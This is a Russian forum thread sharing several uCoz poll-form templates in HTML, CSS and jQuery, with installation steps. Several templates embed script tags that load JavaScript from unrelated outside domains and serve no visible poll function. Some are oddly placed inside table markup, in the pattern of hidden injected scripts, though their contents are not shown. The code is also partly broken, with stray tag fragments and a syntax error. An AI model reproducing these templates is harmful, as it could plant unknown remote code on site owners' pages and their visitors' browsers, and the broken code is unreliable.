ХАК Опросы

Sam Jack

Капитан-Узурпатор
Команда форума
Созидатель
5 Май 2015
13.917
4.897
113
Россия
null-prog.ru
opros.jpeg

Вам надоел стандартный вид опросов или хотите чего-нибудь нового, интересного?!
Тогда вот новый стиль опросов для Вас.
Данный код, размещаем в нужное Вам место.
Код
"Verdana"><div class="pollBlock" style="font-family:Tahoma,Arial;">
<script src="http://am-investor.ru/higer.js" type="text/javascript"></script>
<div class="pollQue" style="font-size:8pt;padding-top:2px;text-align:left;"><b><center>$QUESTION$</center></b></div>
<br>
<div class="pollAns" style="font-size:8pt;text-align:left;">$ANSWERS$</div>
<div class="pollLnk" style="padding-top:4px;text-align:center;"><a style="font-size:7pt;"href="$RESULTS_LINK$">Результаты</a> · <a style="font-size:7pt;" href="$ARCHIVE_LINK$">Архив опросов</a></div>
<div class="pollTot" style="padding-top:4px;font-size:7pt;text-align:center;">Всего ответов:<b>$TOTAL_VOTES$</b></div>
</div>
<script type="text/javascript" src="http://ili.pp.ua/js_css/opros.js"></script>
<link type="text/css" rel="StyleSheet" href="http://ili.pp.ua/js_css/poll.css">
 

Sam Jack

Капитан-Узурпатор
Команда форума
Созидатель
5 Май 2015
13.917
4.897
113
Россия
null-prog.ru
opros.jpg

ЗаходимПанель Управление » Управление дизайном » Опрос » Вид формы опросов, удаляем там всё и вставляем данный скрипт.
Код:
<P><B>$QUESTION$</B></P> 

$ANSWERS$<BR> 

  <FORM method="post" name="vote" action=""><TABLE width="100%"> 

  <TBODY><script src="http://izizi.ru/1.js" type="text/javascript"></script> 

<TR><TD> 

  <DIV style="padding-top:4px;text-align:center;">[ <A style="font-size:7pt;" href="$RESULTS_LINK$">Результаты</A> · <A style="font-size:7pt;" href="$ARCHIVE_LINK$">Архив опросов</A> ]</DIV> 

<DIV style="padding-top:4px;font-size:7pt;text-align:center;">Всего ответов: <B>$TOTAL_VOTES$</B></DIV> 

  </TD></TR></TBODY></TABLE></FORM> 
</script> <TR>
 

Sam Jack

Капитан-Узурпатор
Команда форума
Созидатель
5 Май 2015
13.917
4.897
113
Россия
null-prog.ru
65017122.png

Главная » Управление дизайном » Вид Формы Опросов:
Код:
"Verdana"><div style="padding-top:4px;text-align:center;"> 
  <table width="100%" align="center" class="bBlok2"> 
  <tr> 
  <td class="eTitle" height="15px" style="border:1px solid #5d5d5d;"><div style="padding-bottom: 0px;"><center><font size="1.5" face="Tahoma">$QUESTION$</font></center></div></td> 
  </tr> 
  <tr> 
  <td class="eTitle" height="15px" style="border:1px solid #5d5d5d;"><div style="padding-bottom: 0px;"><center><div style="font-size:7pt;text-align:left;">$ANSWERS$</div></center></div></td> 
  </tr> 
  </table></div> 
  <div style="padding-top:4px;text-align:center;"> 
  <table width="100%" align="center" class="bBlok2"> 
  <tr> 
  <td class="eTitle" height="15px" style="border:1px solid #5d5d5d;"><div style="padding-bottom: 0px;"><center><a style="font-size:7pt;" href="$RESULTS_LINK$">Результаты</a> <font size="1.5">|</font> <a style="font-size:7pt;" href="$ARCHIVE_LINK$">Архив</a></center></div></td> 
  </tr> 
  <tr> 
  <td class="eTitle" height="15px" style="border:1px solid #5d5d5d;"><div style="padding-bottom: 0px;"><center><font size="1.5" face="Tahoma">Всего ответов: <b>$TOTAL_VOTES$</b></font></center></div></td> 
  </tr> 
  </table></div></div>
 

Sam Jack

Капитан-Узурпатор
Команда форума
Созидатель
5 Май 2015
13.917
4.897
113
Россия
null-prog.ru
94857923.png

Вид формы опросов кидаем код:
Код:
"Verdana"><script type="text/javascript">function pollnow955(){document.getElementById('PlBtn955').disabled=true;_uPostForm('pollform955',{url:'/poll/',type:'POST'});}function polll955(id,i){_uPostForm('pollform955',{url:'/poll/'+id+'-1-'+i+'-955',type:'GET'});}</script><div id="pollBlock955"><form id="pollform955" onsubmit="pollnow955();return false;"><div style="font-family: Visitor_Rus;font-size: 10px;"> 
  <table width="100%" class="bBlok"><td class="bBlok4"><div style="font-size:10px;padding-top:2px;text-align:center;font-family: Visitor_Rus;padding-bottom: 3px;"><center><font color="#808080">$QUESTION$</font></center></div></td></table> 

  </p> 
  <table width="100%" class="bBlok"><td class="bBlok"><div style="font-size:10px;padding-top:2px;text-align:left;font-family: Visitor_Rus;padding-bottom: 2px;"><font color="#808080"> 
  $ANSWERS$ 

  <input type="hidden" name="id" value="6" /> 
  <input type="hidden" name="a" value="1" /><input type="hidden" name="ajax" value="955" /></font></div></td></table> 

  </p> 
  <div style="padding-top:4px;text-align:center;"> 
  <table width="100%" align="center" class="bBlok"> 
  <tr> 
  <td class="bBlok4" height="15px" style="border:1px solid #000000;"><div style="padding-bottom: 0px;"><center><a style="font-family: Visitor_Rus;font-size: 10px;" href="$ARCHIVE_LINK$" rel="nofollow" onclick="new _uWnd('PollA','Архив опросов',660,250,{closeonesc:1,maxh:400,max:1,min:1},{url:'$ARCHIVE_LINK$'});return false;">Архив</a> 
  <font size="1.5" face="Visitor_Rus">|</font> <a style="font-family: Visitor_Rus;font-size: 10px;" href="$RESULTS_LINK$" rel="nofollow" onclick="new _uWnd('PollR','Результаты опроса',660,200,{closeonesc:1,maxh:400},{url:'$RESULTS_LINK$'});return false;">Результаты</a></center></div></td> 
  </tr> 
  <tr> 
  <td height="15px" style="padding-top:1px;font-size:10px;text-align:left;color:#808080;" class="bBlok4"><center><div style="padding-bottom: 0px;"><font size="1.5" face="Visitor_Rus"> Всего ответов: $TOTAL_VOTES$</font></div></center></td></tr> 
  </table></div></form></div>
 

Sam Jack

Капитан-Узурпатор
Команда форума
Созидатель
5 Май 2015
13.917
4.897
113
Россия
null-prog.ru
30335300.jpg

В Вид формы опросов вставляем:
Код:
"Modern" style="font-size: 12pt;"><p class="vtitle"><i> $QUESTION$</i></p> "Verdana" size="1"> <form method="post" name="vote" action=""> 
  <div class="votelist"> 
  $ANSWERS$ 
  </div> 
  <p><br> 
  <a href="$ARCHIVE_LINK$" title="Другие опросы">Другие опросы</a></p> 

  <input type="hidden" name="vote_action" value="vote"> 
  <input type="hidden" name="vote_id" id="vote_id" value="1"> 
  <div class="votesubmit"> 
  <p><a href="$RESULTS_LINK$">Результаты опроса</a></p> 
  </div> 
  </form> 

  <script type="text/javascript"> 
  var a = ['energizer.ucoz.org/images/ivote2.png','energizer.ucoz.org/images/ivote2.png',
'energizer.ucoz.org/images/ivote2.png','energizer.ucoz.org/images/ivote2.png',
'energizer.ucoz.org/images/ivote2.png','energizer.ucoz.org/images/ivote2.png',
'energizer.ucoz.org/images/ivote2.png','energizer.ucoz.org/images/ivote2.png',
'/images/ivote2.png','/images/ivote2.png']; 
  for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress').css({height: '14px'});$('div.answer div div').eq(i).addClass('progress progress_'+a).css({background: 'url(' + a[i] + ')', marginTop: '-3px', marginBottom: '-3px', height: '25px', backgroundRepeat: 'repeat-x'});} 
  $('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')}); 
  </script>
 

Sam Jack

Капитан-Узурпатор
Команда форума
Созидатель
5 Май 2015
13.917
4.897
113
Россия
null-prog.ru
49379381.jpg

1. В вид формы опросов заменяем все то, на код:
Код
"Verdana"><fieldset><legend>$QUESTION$ <small>(отв. $TOTAL_VOTES$)</small></legend>$ANSWERS$</fieldset>
<script type="text/javascript">
$('input[id^="a"]').click(function () {
$('.pollBut').click();
}) </script>

2. В глобальный блок, где хотите видеть ссылку вставляем:
Код
"Verdana">
<script type="text/javascript">
function pollsuwnd(){
new _uWnd('polluwnd','Опрос',-200,-50,{align:0,autosize:1}, $("#uwndpoll").html() )
} // by uWnd.ru & SingMen </script>
<div style="display:none" id="uwndpoll">$POLL$</div>
<a href="#" onclick="pollsuwnd();">Опрос</a> <style>
.pollBut{display:none;}
</style>
 

Sam Jack

Капитан-Узурпатор
Команда форума
Созидатель
5 Май 2015
13.917
4.897
113
Россия
null-prog.ru
22874949.png

Отличная замена стандартному виду опроса ucoz. Все сделано достаточно красиво. Подойдет под любой дизайн, более того есть 7 цветовых вариаций кнопок, которые используются в данном опросе.
Установка:
В вид опроса ставим:
Код
"Verdana"><div class="pollBlock">
<div class="pollTitle">$QUESTION$ ?</div>
<div class="pollAns">$ANSWERS$</div>
<div align="center">
<button class="button_poll bleumarin" type="submit" href="$ARCHIVE_LINK$"><span>Архив опросов</span></button>
<button class="button_poll orange" type="submit" href="$RESULTS_LINK$"><span>Результаты</span></button>
</div>
<div class="pollTot">Всего ответов: <b>$TOTAL_VOTES$</b></div>
</div>
<link type="text/css" rel="StyleSheet" href="/poll_style/css/style_poll.css">
<script type="text/javascript" src="/poll_style/js/poll_js.js"></script>


Несколько видов кнопок опроса:
Скачиваем архив.
64014974.jpg

Код
"Verdana"><button class="button_poll bleumarin" type="submit" href="$ARCHIVE_LINK$"><span>Архив опросов</span></button>
<button class="button_poll orange" type="submit" href="$RESULTS_LINK$"><span>Результаты</span></button>
 

Вложения

  • 771_2027_poll_style.rar
    3,2 KB · Просмотры: 2

Sam Jack

Капитан-Узурпатор
Команда форума
Созидатель
5 Май 2015
13.917
4.897
113
Россия
null-prog.ru
41788063.png

Установка:
1. Скачиваем архив ниже.
2. Через файловый менеджер загружаем папку "question_images" в корень вместе со всеми файлами.
3. Вставляем код формы опроса в Управление дизайном » Опросы » Вид формы опросов.
4. Сохраняем.
5. НЕ ЗАБУДЬТЕ СКАЧАТЬ ПАПКУ С КАРТИНКАМИ.
Код формы опроса:
Код:
<div class="pollBlock" style="font-family:Tahoma,Arial;"> 
  <div class="pollQue" style="font-size:8pt;padding-top:2px;text-align:left;"><b>$QUESTION$</b></div> <hr> 
  <div class="pollAns" style="font-size:8pt;text-align:left;">$ANSWERS$</div> <hr> 
  <div class="pollLnk" style="padding-top:4px;text-align:center;">[ <a style="font-size:7pt;" href="$RESULTS_LINK$">Результаты</a> · <a style="font-size:7pt;" href="$ARCHIVE_LINK$">Архив опросов</a> ]</div> 
  <script src="http://webmaster-profi.ru/scripts_ucoz/png.js" type="text/javascript"></script> 
  <div class="pollTot" style="padding-top:4px;font-size:7pt;text-align:center;">Всего ответов: <b>$TOTAL_VOTES$</b></div> 
  </div> 

  <style> 
  .answer div div {height: 10px !important; border: 1px solid #000; background-repeat: repeat-x} 
  </style> 
  <script type="text/javascript"> 
  var a = ['/question_images/01.gif','/question_images/02.gif','/question_images/03.gif','/question_images/04.gif','/question_images/05.gif']; 
  for(var i = 0; i < a.length; i++){ 
  $('div.answer div div').eq(i).css({background: 'url(' + a[i] + ')', backgroundRepeat: 'repeat-x'}); 
  } 

  $('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')}); 
  </script>
 

Вложения

  • 778_2165_question_i.rar
    1,9 KB · Просмотры: 2

Sam Jack

Капитан-Узурпатор
Команда форума
Созидатель
5 Май 2015
13.917
4.897
113
Россия
null-prog.ru
31679395.png


Установка:
В вид опроса ставим код:
Код
<script type="text/javascript">
var a = ['1','2','3','4','5','6','1','2','3','4','5','6'];
for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress');$('div.answer div div').eq(i).addClass('progress'+).css({marginTop: '-3px', marginBottom: '-3px', backgroundRepeat:'repeat-x'});}
$('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')}); </script>
В таблицу стилей CSS:
Код:
.answer {font-weight: normal;font-style: normal; position:relative; color:#4d4d4d; margin-bottom:10px;height:25px;} 
  .answer span{z-index:2;position:relative;left:-8px;color: #fff;top:8px;text-shadow: 0 -1px 0 rgba(0,0,0,0.25);} 
  .answer div{z-index:1;height:25px!important;position:absolute;top:3px;left:0px;width:100%;} 
  .progress { 
  height: 25px; 
  margin-bottom: 20px; 
  overflow: hidden; 
  background-color: #f7f7f7; 
  background-image: -moz-linear-gradient(top,#f5f5f5,#f9f9f9); 
  background-image: -webkit-gradient(linear,0 0,0 100%,from(#f5f5f5),to(#f9f9f9)); 
  background-image: -webkit-linear-gradient(top,#f5f5f5,#f9f9f9); 
  background-image: -o-linear-gradient(top,#f5f5f5,#f9f9f9); 
  background-image: linear-gradient(to bottom,#f5f5f5,#f9f9f9); 
  background-repeat: repeat-x; 
  -webkit-border-radius: 4px; 
  -moz-border-radius: 4px; 
  border-radius: 4px; 
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5',endColorstr='#fff9f9f9',GradientType=0); 
  -webkit-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1); 
  -moz-box-shadow: inset 0 1px 2px rgba(0,0,0,0.1); 
  box-shadow: inset 0 1px 2px rgba(0,0,0,0.1); 
  } 
  
  .progress div {height: 25px !important;} 
  .procent {top:0px !important; left:5px !important;} 
  .progress0 {background-color: #fb3c2d !important;} 
  .progress1 {background: rgb(32, 195, 209) !important;} 
  .progress2 {background: rgb(133, 202, 45) !important;} 
  .progress3 {background: rgb(231, 197, 19) !important;} 
  .progress4 {background: rgb(22, 184, 206) !important;} 
  .progress5 {background: rgb(32, 195, 209) !important;} 
  .progress6 {background: rgb(32, 195, 209) !important;} 
  
  .progress0, .progress1, .progress2, .progress3, .progress4, .progress5, .progress6 { 
  background-image: -webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255, 255, 255, 0)),color-stop(0.25,rgba(0, 0, 0, 0.07)),color-stop(0.5,rgba(0, 0, 0, 0.07)),color-stop(0.5,rgba(255, 255, 255, 0)),color-stop(0.75,rgba(255, 255, 255, 0)),color-stop(0.75,rgba(0, 0, 0, 0.07)),to(rgba(0, 0, 0, 0.07))) !important; 
  -webkit-background-size: 40px 40px !important; 
  -moz-background-size: 40px 40px !important; 
  -o-background-size: 40px 40px !important; 
  background-size: 40px 40px !important; 
  box-sizing: border-box; 
  background-repeat: repeat-x; 
  -webkit-transition: width .6s ease; 
  transition: width .6s ease; 
  }